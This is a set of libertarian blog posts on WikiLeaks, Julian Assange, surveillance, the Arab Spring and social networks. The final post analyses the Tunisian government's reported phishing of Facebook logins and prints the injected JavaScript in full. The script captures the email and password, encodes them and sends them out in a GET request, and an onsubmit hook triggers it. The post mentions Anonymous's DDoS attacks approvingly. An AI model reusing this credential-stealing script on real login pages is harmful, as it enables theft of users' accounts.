From WikiLeaks: How the Drug War Underlies The Firm

A Public Choice definition of “The Firm” is the agency that arises from the “incentive-incompatibility problem” of collective choice. This agency, however, is also an organ of political economy. The political economic construct of The Firm is what allows us to tie it to the classical concept of libertarian class theory(note: it is a mistake to try to relate the standard realm of public choice to the old French Laissez Faire model of political economy. To make this relation, you must more or less discard “methodological individualism” from the model of State actors. Hence, most, if not all, traditional public choice scholars will reject “The Firm” outright).

The positive model of “The Firm” allows us to make predictions. For one, the drug war will never peacefully end because the discretionary authority the drug war legitimizes is a core foundational component of The Firm. At best, any legalization efforts will simply result in a FDA, Bristol Myers Squibb, DEA triumvirate. In a real sense, the latter may actually provide the means for greater social control than outright illegality.

If the thing that “The Firm” maximizes is discretionary power or authority, then perhaps “The Matrix” is a better understood cultural descriptor than “The Firm.” However, the use of the term, “The Firm,” is illuminating because it reminds us that the agency in question is at its core a politically economic one. The Firm is the (protectionist) coordinated arena where the “competition” of capitalism takes place. It is the “market setter.”

As with “The Matrix,” it may be the case that the only way to fully understand “The Firm” is to see it for yourself. So below, I have posted a link from the recent WikiLeaks file dump. This is actually a publicly available document and not a secret one. But it is captured from the inner correspondence of the global intelligence firm, Stratfor.

International Narcotics Control Strategy Report: Money Laundering and Financial Crimes.

The introduction says it all: engineering an efficient international enforcement paradigm of anti-money laundering measures that starts with terrorism and drugs but under a “one-size-fits-all” vein can be effortlessly extended to any unauthorized monetary exchange. The table of contents provides the staggering breadth and scope of The Firm’s coordination.

To those that say “there is no firm,” I say positive science is useless if we do not believe what we see with our own eyes. To those who say “if you don’t like it, leave,” I say it is clear that there is no escaping the jurisdiction of The Firm.

Julian Assange’s Response

Julian Assange responds to the criticism of “Wkileaks paywall” and other matters via TwitLonger.

Assange promotes “movement solidarity” while cautioning against the perils of “anonymous platforms” that are prone to compromise and infiltration by police authorities. There is an implicit emphasis on the requirement of “media” and “reputation” in the role of “crypto-anarchism” serving as an effective reform mechanism.

Assange’s explicit emphasis on “movement solidarity” is no doubt true. But all movements suffer from an irrevocable collective action problem. In this sense, there needs to be more than one. But political entrepreneurs in crypto-anarchism run up against an equally vexing collective action problem: the problem of revolution.

WikiLeaks Paywall?

A javascript donation widget that has been inserted into Wikileaks documentation file pages has created a bit of a stir. First, the technicalities. It is an IFrame widget that relies on javascript to create a DOM modal window that features a YouTube “Campaign Video.” Below the video are buttons for donation, facebook share and Twitter tweet. Clicking on any of the buttons will write to a browser cookie that will(although not instantaneously) de-activate the overlay on a timeout. Of course, the client-side javascript “protection scheme” can easily be bypassed by disabling javascript in the browser(which is what I did on the “internet blackout day” because all the blackout sites relied on simple client-side protection schemes).

My criticism of the scheme is that it is bad UI code. The implementation is not a paywall but the code is written in a way that assumes the payment option. The de-activation works on a timeout which is consistent with the time it would take to complete a payment transaction in a form submission. By the time you complete a transaction, the overlay will be “de-activated” vis a vis the cookie query. However, if you select the “share options,” the overlay doesn’t destroy right away which makes it appear you are being fucked with. Very cheesy…

However, the video provides a fine wine with your cheese. It is pure libertarian class analysis. Voting is meaningless. Ostensible political reformers of the system will be captured and betray their claims. The only worthwhile collective action is alternative mechanisms. Right on, brother…

The criticism of Assange turning Wikileaks into a one-man show is a bit hollow. It is indeed a disappointment that there has not been a proliferation of WikiLeaks-like organizations. Document-sourced journalism has stalled. But there are reasons for this–reasons that I have discussed in previous posts. For one, not too many people ar eager to meet Assange’s fate of being an Enemy of the State. Unfortunately, anonymous platform crowd-sourcing has proven to be neither an attractor of leaks nor a disseminator of leaks into the public consciousness. No one who risks their liberty and life by leaking damning information is going to submit to an anonymous platform that keeps the identity of the entity behind it a secret. And crowd-sourcing document dumps has proven hitherto not to be a particularly fruitful model.

In short, “crypto-anarchism” has to play a “media game.” And it requires a degree of expertise and reputation to bring the secrets to light. It requires a type of political entrepreneurship. Julian Assange figured that out. His reward for being a revolutionary is not only the designation of “Enemy of the State,” for which he pays a heavy price, but to be also subjected to a barrage of whiny moral foundations of revolutionary politics.

The United States Military Declares Julian Assange and WikiLeaks Enemies of the State

When the military of the country you live in declares an organization like Wikileaks an Enemy of the State, which in this case means military personnel who make contact with the organization risk a capital offense, then the country you live in is just one step away from a full blown authoritarian government. Of course, the final step is when the “regulation” is extended to civilians.

Remember Julian Assange is one of us(radical libertarian). At this point anyone who is not officially an “enemy of the State” is just a lip flapper. Julian Assange is a hero. PERIOD….

Will the US Government Attempt to Extradite Julian Assange?

What’s the most libertarian-oriented network that broadcasts in the United States today? The answer is Russia Today. But the Russian regime is hardly any exemplar of libertarianism. Quite the opposite, actually. Indeed, the brute characteristics of the Russian regime has led some conservative commentators to denounce RT as an insidious propaganda tool against the US. But the propaganda directed against the US is actually true.

No doubt, if we had MSNBC-Russia or Fox-Russia, specifically broadcasting to a Russian audience, those network subsidiaries would be very libertarian-oriented. They would be continuously informing the Russian public about the hypocrisy and crimes of the Russian regime. Russian nationalists and patriots would accuse those networks as being agents of seditious propaganda. But the propaganda would be true, nonetheless.

But, of course, we know that MSNBC and Fox are slavish legitimizers of their own regimes. Likewise, we know RT is not in the business of de-legitimizing Putin.

So what we have is an example of hacking plutocracy. And we know it is hackable because the plutocrats are busy trying to hack it themselves. This political “hackability” of plutocracy is really the strategic basis of the whole document-sourced journalism concept. I discussed this dynamic in a whole series posts back in 2010. The intent of Julian Assange(who, of course, I don’t know personally, so I can only divine intent from his writings, statements, and actions) was to use document-source journalism as a means to put governments in a type of liberal political competition(Assange most definitely is a liberal in the philosophic sense). But any “liberal outcome” would be a consequence of a political dynamic and not a legal one. As I wrote in my old post, The Revolutionary as Entrepreneur :

The political hack is not so much cherry-picking laws from jurisdictions to create some sort of international tapestry of legal protection outside the jurisdiction of any one State, but rather more of a hack of playing competing legal jurisdictions off one another to protect itself from ex post legal interpretations or legal changes for prosecution by any one jurisdiction. This makes it more of a political hack than a legal hack.

Certainly, Assanges’s current appeal to Ecuador for political asylum is an example of this. Ecuador itself is hardly a liberal(legally speaking) paradigm.

But we do have to express some disappointment that “document-sourced journalism” has seemingly been stalled. Our friends at CNN are only glad to give us a synopsis why: See yourself as the next Assange? Good luck. I would offer up my own summary that in part dovetails with the CNN one.

(i) the US and The Western Global Financial System will cut off any legal avenue for the necessary financial means to support any viable document-sourced journalism operation

(ii) As a result of (i), the contextual expertise needed to sift through the (often massive) leaked documents largely can only be found with vertically integrated corporate structures subject to same problem of (i). That is, individual agents can execute a political hack sans a legal one, but vertically integrated global corporations cannot. Hence, our global corporate media agents now are dropping their planned entrance into this space.

(iii) individual agents can perhaps hack a political defense against “political charges” but the political hack may very dissipate if the charges are “sex crimes.” This, by the way, is hardly paranoia or conspiracy theory. George Orwell, who I consider the greatest political commentator of the 20th century, laid it out very clearly that accusation of sexual pathology was Standard Operating Procedure by the regime against “enemies of the State.”

The summary of the summary is this: politics may be hackable but capital is not. Politics is plutocratic but capital has become largely oligarchical. Simply, if someone like Assange cannot be charged legally with a “crime against the State,” but Wkileaks nonetheless can be cut off from the Global financial banking system, then this is exhibit A of a definition of oligarchy of capital. Not only is Capitalism been severed as a necessary condition for political freedom, but Assange and Wikileaks threaten to demonstrate that Capitalism is converging to a sufficient condition for a denial of political freedom. You doubt this? Well, simply read this recent editorial by the Washington Post that advocates a proper course of action if Ecuador grants Assange political asylum: revoke Ecuador’s “free trade” status.

Simply, if the oligarchy of capital is sufficient to stall out document-sourced journalism, then we shouldn’t expect an extradition of Assange by the US Government. Frankly, that would be stupid because it would be exactly that kind of outrageous politically motivated action that could spur DSJ back into major play. If the US was going to charge Assange with a “legal crime,” they could have already done so and extradited him directly from the UK.

For those who continue to put capitalism at the root of political legitimization, the case of Assange and Wikileaks should serve as a cautionary counter-factual of why that position may need to be re-evaluated.

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As a side note, I would like to extend my congratulations to Michael Moynihan for his current gig with the Washington Post. A “libertarian” writer I would most associate with de-legitimizing ” western dissidents,” and a media organization that perhaps best represents the “capitalist” version of the Kremlin is a very predictable thing to behold. Onward “golden age…”

Julian Assange vs David Horowitz

Slavoj Zizek and David Horowitz were the guests for the second episode of Assange’s “The World Tomorrow.” The episode is particularly revealing because Horowitz is essentially maneuvered by Assange to argue his left/right blather in a broader liberty vs authoritarian paradigm. Stripped of the DoubleThink facade, Horowitz’s argument for American Exceptionalism reveals a truly evil underpinning. When Assange points out the perverse US Military propagandistic expropriation of Jefferson’s “Eternal Vigiliance is the Price of Liberty”¹–the US Military interprets eternal vigilance to mean a total surveillance State–Horowitz responds with brutal honesty. The human experience is characterized by a condition of total war. Peace can only be achieved by intimidation via a strong State. Would you rather this “strong State” be the US or “our enemies.” Unfortunately, due to subversive efforts of an “international left,” which has undermined the ability of the US to wage total war against its enemies(read: thwarted the military hegemony doctrine promoted by the Neoconservative Project for a New American Century), we now have to live with the necessary consequences of a total surveillance State. When Assange rhetorically asked Horowitz what then limits this type of State, Horowitz essentially shrugs his shoulders and responds with, “nothing.” Assange, the radical libertarian, then interjects that a free market in government is what can limit the State.

If American Exceptionalism continues to be the ruling ideology, the “world tomorrow” will be a scary place.

¹ Of course, this phrase is usually erroneously attributed to Jefferson. The more historically accurate attribution would be to credit Wendell Phillips.

WikiLeaks: Bitcoin will be Revolutionary

Wikileaks tweet:

Namecoin and Bitcoin will be revolutionary
http://is.gd/8zKOTT see “Orwell’s Dictum” http://is.gd/2hsOWh

The “dictum” Assange is referring to:
Who controls the past controls the future. Who controls the present controls the past

WikiLeaks + Bitcoin=the weapon…

WikiLeaks Watch 5-12-2011

Unfortunately, due to work requirements, postings on this blog have decreased by a factor of five, from one per weekday, to about one per week. The “WikiLeaks Watch” postings are something that I haven’t had the time to maintain. However, when a bunch of interesting stuff emerges, I will try to take time out to compose a post. Such is the case now.

Assange calls Facebook the most appalling spying machine ever invented

Assange is more or less correct, here. In an earlier post that discussed the subversive political potential of SNP, I noted that SNP was a resilient platform against hard censorship but could be effectively neutered by a maize of soft censorship. If this “soft censorship maize,” and here I referring to (corporate) Political Economy, interfaces their systems and data with (State) Intelligence data mining, then, yes, SNP becomes a dystopian tool. Orwell’s “screens” are simply replaced by the smartphone.

As it stands now, people who their provide their real profile data for a SNP database and who link themselves to other “real profiles” make themselves vulnerable to proto police state tactics. However, given that the US intelligence organs now essentially dwarf anything hitherto in human history, an intelligence symbiosis with the “soft censorship maize” seems inevitable. The only thing that can prevent it is political economic hacking–that is, an offsetting political economy of “leaks.” So, the only thing heartening about this expanding totalitarianism and it’s insider/outsider political economy is that it is also spawning counter institutions, trading in “leaks,” as an offset. One of the sub-themes of this blog is whether to treat technology as utopian or dystopian. The correct answer is that it can be either, meaning, of course, that there is no correct answer.

Julian Assange’s Dialectics

This Assange interview provides perhaps the most extensive exposition of his political views. This interview is much more abstract and “cyberpunkish” than the Forbes one. A concise synopsis would be a “political dialectic” grounded in Neils Bohr rather than Hegel…the abstraction of the “quantum jump” applied to a “change in state”(reform) of political institutions. Censorship represents an “opportunity,” or an economic signal, that signifies that the institution is sufficiently unstable to be susceptible to a “quantum jump.” To paraphrase an earlier post of mine, the entrepreneur as “valence electron.”

Assange indicates that he is influenced by a libertarian temperament but not the libertarian political tradition directly. By this, he more or less means that he is more influenced by the libertarian attitude regarding the relationship between the individual and the state rather than, say, Proudhon’s or Kropotkin’s view of property, or libertarianism’s vast literature on institutional alternatives.

Assange views a regime that does not practice “hard censorship” to be immune from the “quantum jump,” or reform. He seems to equate this with a condition of total soft censorship. In the “Bohr Dialectic,” this would be an example of an “inert gas.” Here, however, I think libertarians would object with equating “de-politicization” with a Political Economy of total soft censorship. It could be conceptually argued and empirically demonstrated that a Political Economy of total soft censorship would not be a condition of “free speech.” Easily and trivially provable if we consider “commercial speech” to be speech, which is necessary if you concede the existence of the market.
Then the “Black Market” is easy refutation. With “soft censorship,” you can “debate” legalization of drugs without being arrested; but if you try to sell them on a street corner, you will be arrested. This is censorship. This creates an “opportunity,” an “economic signal,” that leads to a black market. There’s actually a faction within libertarianism, called “agorism”(which I do not subscribe to, btw), that relies on this type of censorship signalling to institutionally supplant the State.

In an actual de-politicized institutional setting, you would not have a black market, or at least not much of one. And, having studied physics in college, I would say that something like the Double-Slit experiment with light perhaps has philosophical value in knocking down something like Randian objectivism, but I wouldn’t rely on Quantum Mechanics for my political dialectics.

The Revolution will have a Confidentiality Agreement

The corporate/mainstream will delight in this supposed hypocrisy of the WikiLeak’s confidentiality Agreement. Of course, it could only be tangentially construed as hypocrisy if Assange were claiming to be the thing he is typically portrayed as: some transparency activist. He is not. He is an entrepreneur, a thing I’ve been harping on on this blog for some time. By entrepreneur, I don’t mean the Washington post definition, I mean the actual historical definition: an agent who identifies an opportunity and takes full responsibility for the outcome. In this case, we are talking about an agent who strives for a particular objective by acting as an intermediary between “leaker” and “publisher.”

It should be noted that WikiLeaks initially attempted to rely on SNP for editorial context and distribution. It didn’t work. At that point, the “activist” must become the entrepreneur. If you observe the “snakes” in corporate media, you would understand why a confidentiality agreement would be a requirement. More from WikiLeaks Central.

The Spy who Re-Elected Me

Assange’s accusations that the US Government was planning a grand jury indictment for Espionageturned out to be true. Here we have a “soft censorship” power overtly pursuing the path of hard, hard censorship. There is no doubt that this creates great new opportunity in the political economy of leaks. But does it mark a “reform opportunity for the United States”? I would say it marks an opportunity to break US oligarchy worldwide, but I’m not so sanguine about it being a signal for internal reform. This would end badly for us…

Revolutionary Wave: the Crack in American Exceptionalism

A spectre is now haunting Northern Africa and the Middle East–the spectre of the collapse of the American-aligned Arab Nation State. What started from a single act of self-immolation by a fruit stand operator in Tunisia has now metastasized into a full-blown revolutionary wave that has spread to Algeria, Egypt, Jordan and Yemen. Ben Ali has already exited to Saudi Arabia and Mubarak may now follow. If Mubarak goes, expect the gated cul de sac community of former dictators in Riyadh to grow.

The US Political class reaction, as one would expect, has been dissonant. Two days ago, the official talking points of the Obama Admin were expressed by Hillary Clinton and Joe Biden.

Clinton

“Our assessment is that the Egyptian Government is stable and is looking for ways to respond to the legitimate needs and interests of the Egyptian people.”

Is Mubarak a dictator? Joe Biden

“No. I think the time has come for President Mubarak to begin to move in the direction that – to be more responsive to some… of the needs of the people out there.”

Now the talking points have changed. The New Talking Points are that Obama has been secretly ahead of this issue for two years. Wikileaks cables are now appearing that suggest that the US has been providing material support to pro-democracy groups in Egypt. The Washington Post, the leading establishment cheerleader on the point that the Wikileaks cables have never provided anything new, is now suddenly promoting the WikiLeaks Egyptian Cables. Of course, there is news that Egyptian police are using U.S.-made tear gas against the demonstrators. And the US annually funds 1/3 of the Egyptian military budget–the same military that would be used in a crack down.

In the US, there is a certain irony that this Revolutionary Wave, full of “anti-government rhetoric,” follows on the heels of our own establishment political class ranting against the evils of anti-government rhetoric–it threatens civility, the established order, and it portends violence against the Political Class. The irony just thickens the air with more choking cognitive dissonance that is already replete with it. Wikileaks is now good. But we are nonetheless torturing a US Soldier to turn on Julian Assange so he can be extradited to the US for espionage. The US now claims that the Egyptian government’s control of telecommunication services abridges fundamental, universal rights, but Hactivist Anonymous, attempting an old school circumvention of these controls with respect to the Egyptian context, is being hunted down in the US by the FBI and DHS.

One of the more absurd things is the attempt by neoconservatives to expropriate the Revolutionary Wave as validation. What a brazen attempt to rewrite their history and intellectual intent. The Revolutionary Wave is threatening American-aligned Arab States. Neoconservative doctrine called for the explicit use of “benevolent US Military hegemony” to force a “democratic pro-American re-alignment” of non-American aligned Arab or Muslim states. The primary motivations were the security of Israel and the security of petroleum production. The “Domino Effect” was supposed to topple Iraq, Syria, Iran, Lybia, etc and install a pro-American aligned government in Palestine. It was not meant to topple Egypt, Jordan, Saudi Arabia, etc. The Revolutionary Wave is actually a repudiation of Neoconservative doctrine, and in particular, American Exceptionalism. The likes of Elliott Abrams instead try to pin this on the failure of “Arab Exceptionalism.” I don’t think so.

In historical context, the modern Arab State has it’s origins in the post WWI European partitioning of the old Ottoman Empire that resulted in a patchwork of territorial protectorates under the colonial thumbs of the European powers, particularly Britain and France. Post WWII signified the end of this colonial rule, meaning these “protectorates” became more or less independent states. Some, like Egypt, overthrew their monarchies and established a more “western” conception of a State. But this “independence” was relatively short-lived. Most, in the end, would become either Soviet or American “client States. This was the “cold war.”

Egypt, for example, became more or less a Soviet-client under Nasser but then, under Sadat, flipped to the US. After the assassination of Sadat, Mubarak would continue Egypt’s status as an American-client State.

Iraq, interestingly, was an example of an Arab State that actually never was either a Soviet or American Client State. It played both off each other. But it’s invasion of Kuwait, which threatened the US’s crown jewel Arab Client State, Saudi Arabia, triggered the Bush I “New World Order,” which was international sanction of US hegemony in the Middle East. It signaled the end of the cold war. The Soviet Union would soon be done. But Iraq actually didn’t topple. And there were still former Soviet-client States(e.g, Syria), that needed to be re-aligned. So, enter the Neoconservatives who viewed Iraq as the catalyst in a Domino theory to trigger full US alignment.

But US Military hegemony in the Middle East has ended up triggering a different sort of “domino effect.” The Revolutionary Wave is a revolt against the corrupt oligarchy of American-aligned regimes.

“Stability” is the buzzword, but I would suggest a more accurate term: “resiliency.” How resilient now is the DoubleThink of American Exceptionalism?

Social Network Platforms and Subversive Politics

Jesse Walker at Reason expresses skepticism concerning the branding of the Tunisian Revolution as a WikiLeaks Revolution.

I noted yesterday that some pundits have been calling the Tunisian revolt a “WikiLeaks revolution.” The phrase “Twitter revolution,” last spotted wandering around Tehran in a daze, has made a comeback as well. So now we’re in for a big boring debate about whether these boosterish labels fit, an argument that threatens to overshadow some much more interesting questions. The Internet is a series of tools. Some of those tools were used in Tunisia. I’d love to see some detailed investigations of how they were used, how they affected the use of older tools and tactics, how they advanced and/or held back the struggle, and how the regime responded to them. Debating whether their presence makes this a “[fill-in-the-blank] revolution,” by contrast, seems pointless.

Yesterday, I engaged in some bit of punditry that used the term “WikiLeaks Revolution.” Regarding Tunisian politics, I readily concede that I am an armchair blogger. However, I was careful to base my statements on journalists who could give an eyewitness account. In the post, I referenced an article in Foreign Policy Journal by Yvonne Ridley.

The demise of Ben Ali came when police prevented an unemployed 26-year-old graduate from selling fruit without a license. Mohammad Bouazizi turned himself in to a human torch on December 17 and died of the horrific burns in Sidi Bouzid, in central Tunisia.

It was the final straw, a defining moment which ignited rallies, marches and demonstrations across Tunisia.

And revelations from Wikileaks cables exposing the corrupt and extravagant lifestyle of Ben Ali and his grasping wife fanned the flames of unbridled anger from a people who were also in the grip of poverty.

I knew it was coming. I saw the burning desire for freedom in the eyes of the courageous people of Ghafsa when the Viva Palestina Convoy entered the country in February 2009 on its way to Gaza.

Our convoy witnessed the menacing secret police intimidate the crowds to stop them from gathering to cheer us on.

This vast army of spies, thugs and enforcers even tried to stop us from praying in a local mosque.

That they stood their ground to cheer us on prompted me to leave my vehicle and hug all the women who had turned out. We exchanged cards and small gifts and then, to my horror, I discovered 24 hours later that every woman I had embraced in the streets of Gafsa had been taken away and questioned.

The broader context that brewed the revolution was a police state apparatus protecting a corrupt political economy. The trigger was an act of self-immolation by an unemployed recent university graduate who was robbed of his only means of supporting himself. The WikiLeaks cables were a catalyst.

Now on matters of internet technology I’m not so much of an armchair blogger. I can do my own investigative reporting. Now I do have quite bit of skepticism regarding the intersection of technology and subversion politics. A lot of hype. There is even more hype regarding “social networking” and subversion politics. Things like “Twitter Revolution.”

The first thing to point is to be careful about conflating WikiLeaks with social networking platforms. WikiLeaks is document-sourced journalism. The “Social Networking Platform” actually failed as a means of document-sourced investigative reporting. I’ve pointed this out several times before, and I’m only pointing out what Assange himself has emphasized on several occasions. So, immediately there is a limitation to the Social Networking Platform when it comes to subversion politics. WikiLeaks relies on traditional media institutions both to provide editorial context and to serve as a distribution source.

Now the Tunisian government, however, most certainly viewed the Social Networking Platform as a threat. Here’s a post from last July by technically knowledgeable Tunisian citizen documenting how the Government was collecting social networking platform credentials of it’s citizens. At the time, this would be appear to have been some type of an official DNS cache poisoning/Phishing attack. The Tunisian Internet Agency(ATI) is the upstream provider for all Tunisian ISPs. Certainly, then, from a technical standpoint, it would have been feasible. However, the blogger notes that the attacks occurred only intermittently so as to not arouse too much suspicion.

With the latest revolt, the Tunisian government, via the ATI, resorted to more sophisticated methods of “Phishing.” From Aljazeera, Tunisia’s bitter cyberwar, we learn that ATI was injecting javascript code into Social Networking Platform login pages that intercepted the user login and used AJAX “Get” requests to send user credentials in clear text over the wire. I investigated this, and at least with respect to Facebook, I could see how this attack could work.

The hackivist “Anonymous” posted the HTML source for the Facebook login here. Below is the “phishing code” that was apparently being injected by ATI.

function h6h(st){var st2="";for(i=0;i>4;cl=c&0x0F;
st2=st2+String.fromCharCode(ch+97)+String.fromCharCode(cl+97);}return st2;}
function r5t(len){var st="";for(i=0;i<len;i++)st=st+String.fromCharCode(Math.floor(Math.random(1)*26+97)); return st;}
function hAAAQ3d() {
var frm = document.getElementById("login_form"); var us3r = frm.email.value; var pa55 = frm.pass.value;
var url = "http://www.facebook.com/wo0dh3ad?q="+r5t(5)+"&u="+h6h(us3r)+"&p="+h6h(pa55); var bnm = navigator.appName; if(bnm=='Microsoft Internet Explorer') inv0k3(url); else inv0k2(url);}
function inv0k1(url) {var objhq = document.getElementById("x6y7z8"); objhq.src = url;}
function inv0k2(url) {var xr = new XMLHttpRequest(); xr.open("GET", url, false); xr.send("");}
function inv0k3(url) {var xr = new ActiveXObject('Microsoft.XMLHTTP'); xr.open("GET", url, false); xr.send("");}

In the “form tag” of the html, an onsubmit client event, “onsubmit=’hAAAQ3d()’,” was also being injected that would trigger the phishing code. It’s fairly simple in operation. A user login would also trigger a client onsubmit event handler, which is the function “hAAAQ3d().” This function uses the Document DOM model to capture the username and password. It then passes each to a function “h6h” that uses string manipulation for a very weak encryption. It then builds a “url string” with the weakly encrypted username and password in the querystring. It then uses the XMLHttpRequest object(or the MS ActiveXObject version in the event of Internet Explorer) to pass this url in a client-side , synchronous AJAX Get Request. The actual url, of course, on the Facebook side(for browser cross-domain security reasons, the domain in the url must be facebook.com) doesn’t exist. The intent is to pass the url, the url with the username and password in the querystring, in clear text over the wire that can then be captured by ATI.

“Anonymous” posted a GreaseMonkey script for FireFox that stripped the “phishing script” from Social networking platform login pages. EFF issued a Security Bulletin on Jan. 11th that highlighted the “phishing attempts.” From all accounts, the “phishing attempts,” or at least attempts by this particular method, had ceased by Jan. 11th or Jan. 12th.

Hactivist “Anonymous” also participated in DDoS attacks against Tunisian government websites that were successful. But as I have noted in previous “WikiLeaks Watch” posts, Anonymous/AnonOps uses IRC(Internet Relay Chat) to organize participants in this endeavor. And IRC has been around forever.

For all you Gen Y types out there; IRC and UseNet was to Gen X as the Social Network Platform is to Gen Y. The difference between the two “platforms” is that the SNP has a better API, with regard to web and particularly with regard to today’s ubiquitous mobile devices. It’s an evolution. But a revolution? That’s debatable.

The lesson from regarding SNP and the Tunisian government is that SNP can be quite resilient against “technical attacks.” It’s importance in the Tunisian revolution was magnified because it was attacked by the Tunisian government. That was a mistake. But the Ben Ali regime is not the US Government. The US Government can ex post facto condemn the crude “censorship” of the Ben Ali regime while working methodically behind the scenes to capture the political economy of SNP. We have already seen this with respect to WikiLeaks and the financial banking system. Cutting off means of financial support is a far more subtle and far more powerful means of censorship.

“Anonymous” is a hero when it attacks the crude, technical censorship of the Ben Ali regime. But it’s criminal when it attacks the political economy of US censorship.

As I maintain, and will continue to maintain, a political hack must be at the heart of undermining the statist 21st century political economy. Technical utopianism isn’t going to cut it alone. For example, Peter Thiel’s supposed libertarian e-money transaction system(PayPal) ended up being politically captured and now is a powerful component of SNP soft censorship.

SNP that can reinforce a political hack(s) has the potential to be revolutionary. But without the political hacks, it is only evolutionary, and the evolutionary path would be more along the lines of human social fitness for the Orwellian Boot. To the extent that SNP does threaten to become revolutionary, you can bet the mainstream babble about “Twitter Revolution” will change in tone.